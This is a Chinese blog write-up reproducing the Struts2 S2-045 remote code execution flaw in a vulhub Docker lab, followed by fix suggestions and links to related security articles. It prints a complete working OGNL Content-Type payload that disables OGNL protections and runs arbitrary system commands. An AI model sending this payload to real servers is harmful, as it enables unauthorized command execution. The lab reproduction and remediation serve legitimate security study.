草庐IT

Struts2-045漏洞

ʚɞ无恙 2023-03-28 原文

前言

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一个开源项目。Struts框架使用OGNL作为默认的表达式语言。

struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。

一、漏洞描述

在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

二、影响版本

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

三、漏洞复现

1、搭建环境

这里使用docker直接启动vulhub靶场

docker-compose up -d

目录:/struts2/s2-045

 列出相应容器

docker-compose ps

登录

2、上传文件,修改bp请求包Content-Type值

漏洞POC

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

只需要修改此处值,就可以执行任意系统命令

四、修复建议

方案一:

找到struts2的核心包 struts2-core-2.3.31,解压,找到并打开其中的default.properties文件,修改struts.multipart.parser=jakarta 为struts.multipart.parser=pell 保存退出

方案二:

此次 S2-045 漏洞触发点为Content-TypeHTTP头字段,故此可以添加action拦截器,过滤非法请求。

方案三:

更新至Strusts2.3.32或者Strusts2.5.10.1

具体修复方法参考:https://www.jianshu.com/p/519796fcefec

有关Struts2-045漏洞的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  3. ruby - $SAFE >= 1 的 ruby​​ 中可能存在哪些漏洞? - 2

    Ruby'ssafemode不允许通过潜在危险的操作使用受污染的数据。它的级别各不相同,0表示禁用,然后1-4表示安全级别。启用安全模式时可能存在哪些漏洞?您知道在启用安全模式时发给ruby​​程序的任何CVE编号吗?什么CWEViolations(或cwe系列)是否可以启用安全模式? 最佳答案 所有应用程序级别的漏洞都完全不受$SAFE级别的影响。不通过“不安全操作”的注入(inject)攻击,例如跨站点脚本和SQL注入(inject)。这或多或少包括Web应用程序的每个漏洞类别,可能除了本地和远程文件包含。查看OWASPTop1

  4. Wordpress漏洞复现 - 2

    漏洞复现cms漏洞环境搭建漏洞复现cms1.内容管理系统(contentmanagementsystem,CMS),是一种位于WEB前端(Web服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。2.常见的cms系统国外的:Wordpress,Drupal,Joomla,这是国外最流行的3大CMS。国内则是DedeCMS和帝国,PHPCMS等。漏洞环境搭建一、

  5. javascript - CSRF 漏洞/cookie 问题 - 2

    只是想从认识的人那里得到意见。我正在考虑CSRF漏洞,以及我所知道的似乎最流行的对抗它的方法。该方法是在返回的html中创建一个token,并添加一个具有相同值的cookie。因此,如果脚本尝试发帖,他们将必须猜测网页中嵌入的token才能成功。但如果他们针对特定网站,为什么他们不能只使用一个脚本在页面上调用get(即使脚本无法访问它也会返回cookie)解析html并获取token调用其中包含该token的帖子(返回的cookie将被发回)他们在用户不知情的情况下成功提交了表单脚本不需要知道cookie的内容,它只是利用cookie一直来回发送这一事实。我在这里错过了什么?这不可能吗

  6. javascript - 在 javascript 中使用 jquery 加载 Struts 2 Action - 2

    我正在尝试通过使用jquery来定位div和加载内容的struts操作,从javascript重新加载目标div。有人知道怎么做吗?问题是我如何使用(javascript)jquery来执行此操作。BR,托拜厄斯 最佳答案 最简单的做法是使用jQuery.load()功能。$('#targetDivId').load('${your.struts.url}',function(){//stufftodowhenthedivhasbeenreloaded});现在明白你应该确保你的操作的响应是一个不是真正完整的HTML页面的页面,因为

  7. javascript - Scripts文件夹有漏洞? - 2

    在我的.NETWeb应用程序中,我通常有一个Scripts文件夹,其中包含我所有的JavaScript文件-现在主要是jQuery,偶尔还有某种JavaScript库。我正在通过名为Nexpose的扫描器对我的一个网站运行漏洞扫描,它告诉我Scripts文件夹向全世界开放-这意味着未经身份验证的用户可以下载文件夹中包含的JavaScript文件,这是一个严重的漏洞。根据Nexpose的说法,Scripts文件夹应该被限制为只允许经过身份验证的用户访问它。这引出了我的第一个问题。我如何将Scripts文件夹限制为仅经过身份验证的用户?我尝试将web.config文件放入Scripts文件

  8. java - Struts2:如何在 ActionSupport 中获取 ServletRequest 实例 - 2

    如何在我的操作中获取ServletRequest实例?我实现了ServletRequestAware但我无法在操作中获取请求对象。struts.xmlapplication/json我正在使用Ajax/JavaScript进行调用:req.onreadystatechange=onReadyState;req.open(POST,Cart.action,false);req.setRequestHeader("Content-Type","application/json;charset=utf-8");req.send(JSONstr);JSON对象:vardata={cartIte

  9. OpenSSL安全特征问题漏洞(CVE-2022-2068)版本1.0.2k-fips升级到3.0.5 - 2

    一、检查openssl版本opensslversion影响范围OpenSSL3.0.0版本:3.0.0、3.0.1、3.0.2、3.0.3OpenSSL1.1.1版本:1.1.1-1.1.1oOpenSSL1.0.2版本:1.0.2-1.0.2ze目前OpenSSL项目已经修复了这些漏洞,受影响用户可以更新到以下版本:OpenSSL3.0.0:升级至3.0.4OpenSSL1.1.1:升级至1.1.1pOpenSSL1.0.2:升级至1.0.2zf新版本下载链接https://www.openssl.org/source/也可以可以连互联网在线下载wgethttps://www.openssl

  10. python——脚本实现检测目标ip是否存在ftp笑脸漏洞(ftp后门漏洞) - 2

    警告请勿使用本文提到的内容违反法律。本文不提供任何担保 一、漏洞介绍        vsftpd2.3.4中在6200端口存在一个shell,使得任何人都可以进行连接,并且VSFTPDv2.3.4服务,是以root权限运行的,最终我们提到的权限也是root;当连接带有vsftpd2.3.4版本的服务器的21端口时,输入用户中带有“:)”,密码任意,因此也称为笑脸漏洞。二、环境搭建攻击机(本机):192.168.1.3靶机(metaspolit2):192.168.1.5三、nmap进行漏洞检测(四)python脚本进行漏洞检测代码如下:importsocketfromftplibimportF

随机推荐